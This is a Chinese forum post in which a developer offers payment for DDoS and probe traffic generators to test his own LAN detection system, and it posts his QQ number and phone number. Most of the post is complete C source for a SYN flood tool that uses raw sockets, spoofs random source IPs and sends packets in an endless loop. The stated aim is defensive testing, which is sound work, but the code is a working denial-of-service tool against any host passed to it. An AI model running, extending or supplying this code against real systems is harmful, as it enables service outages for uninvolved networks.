- 论坛徽章:
- 0
|
本帖最后由 kingjwj 于 2012-05-21 16:24 编辑
在LINUX环境下,本人以前做了一个检测DDOS的系统,现在要做一个DDOS的流量生成的软件,用来测试之前的系统是否能够成功检测。注意:所有下面的测试都只需要在局域网内完成即可。
检测类型两种,一种是DDOS攻击(就是伪造大量源IP,目的IP自己指定(局域网内一个IP),填充数据包,再不停发送出去,产生大量流量),这种DDOS攻击,我又分成了很多细分的类型,主要根据协议种类(SYN、FIN、ICMP、HTTP、FTP、UDP、TELNET、SMTP等,SYN和FIN类型的DDOS攻击,已经完成,以前写的攻击程序还能用,就是把TCP协议标志位的SYN设置为1,就是产生了SYN包,后面会附上模拟SYN类型数据包的DDOS攻击源代码)
另外一种是PROBE攻击,(就是伪造大量目的IP,源IP自己指定(局域网内一个IP),填充数据包,再不停发送出去,产生大量流量),同样需要模拟各种协议类型的数据包,SYN、FIN、ICMP、HTTP、FTP、UDP、TELNET、SMTP等。
只要你能够实现对应的程序,在我的LINUX下,可以编译通过,执行之后我的DDOS系统能够检测出来,那么我会支付一定的费用,因为考虑代码实现的流程都是类似的,全部完成的费用是500元。
联系我的QQ:404401552
电话:15957981011
最后附上模拟SYN流量的数据包生成与发送的源代码:(高手应该很容易实现的,我只是以前熟悉,太久没接触了,现在没心思去研究了,另外我提供的这个源码,对攻击速度是没有控制的,我记得以前还实现过模拟流量攻击是可以自己制定速度的,比如命令行第三个参数是3000,就是意味着每秒产生3000个攻击流量,如果这样实现的话,最好了)
此任务非常着急,2天内有限,如果费用500元不够,可以追加,多谢各位老大了!
#include "sys/socket.h"
#include "netinet/in.h"
#include "netinet/ip.h"
#include "netinet/tcp.h"
#include "stdlib.h"
#include "errno.h"
#include "unistd.h"
#include "stdio.h"
#include "netdb.h"
#define SRCPORT 80
#define DSTPORT 5183
struct prseuheader
{
unsigned long s_addr;
unsigned long d_addr;
unsigned char zero;
unsigned char prototp;
unsigned short len;
};
void send_tcp(int sockfd, struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr, int len);
int main(int argc, char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on = 1;
if (argc != 2) {
fprintf(stderr, "Usage:%s hostname\n\a", argv[0]);
exit(1);
}
bzero(&addr, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_port = htons(SRCPORT);
if (inet_aton(argv[1], &addr.sin_addr) == 0) {
host = gethostbyname(argv[1]);
if (host == NULL) {
fprintf(stderr, "HostName Error:%s\n\a", hstrerror(h_errno));
exit(1);
}
addr.sin_addr = *(struct in_addr *) (host->h_addr_list[0]);
}
//创建一个TCP的原始套接字
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sockfd < 0) {
fprintf(stderr, "Socket Error:%s\n\a", strerror(errno));
exit(1);
}
//设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
//只用超级护用户才可以使用原始套接字
setuid(getpid());
send_tcp(sockfd, &addr);
return 0;
}
void send_tcp(int sockfd, struct sockaddr_in *addr)
{
while (1)
{
char buffer[100];
char tcpbuff[32];
struct ip *ip;
struct tcphdr *tcp;
struct prseuheader theheader;
int head_len;
head_len = sizeof(struct ip) + sizeof(struct tcphdr);
memset((void*)buffer,'\0',100) ;
//填充IP数据包头
ip = (struct ip *) buffer;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip) >> 2;
ip->ip_tos = 0;
ip->ip_len = htons(head_len);
ip->ip_id = 0;
ip->ip_off = 0;
ip->ip_ttl = MAXTTL;
ip->ip_p = IPPROTO_TCP;
//校验和让系统去做
ip->ip_sum = 0;
ip->ip_dst = addr->sin_addr;
//开始填写TCP数据包
tcp = (struct tcphdr *) (buffer + sizeof(struct ip));
tcp->source = htons(DSTPORT);
tcp->dest = addr->sin_port;
tcp->ack_seq = 0;
tcp->doff = 5;
//syn置位
tcp->syn = 1;
tcp->check = 0;
tcp->seq = random();
//随机生成源地址
ip->ip_src.s_addr = random();
//填充伪头部
theheader.s_addr = ip->ip_src.s_addr;
theheader.d_addr = ip->ip_dst.s_addr;
theheader.zero = 0;
theheader.prototp = IPPROTO_TCP;
theheader.len = htons(20);
memset((void*)tcpbuff,'\0',32);
memcpy(tcpbuff,&theheader,12);
memcpy(tcpbuff+12,tcp,20);
//注意:tcp的校验和必须计算伪头部
tcp->check = check_sum((unsigned short *) tcpbuff, 32);
sendto(sockfd, buffer, head_len, 0, addr, sizeof(struct sockaddr_in));
usleep(1);
}
}
unsigned short check_sum(unsigned short *buffer, int size)
{
unsigned long cksum = 0;
while(size>1)
{
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if(size)
{
cksum += *(unsigned char*)buffer;
}
cksum = (cksum>>16) + (cksum&0xffff); //将高16bit与低16bit相加
cksum += (cksum>>16); //将进位到高位的16bit与低16bit 再相加
return (unsigned short)(~cksum);
} |
|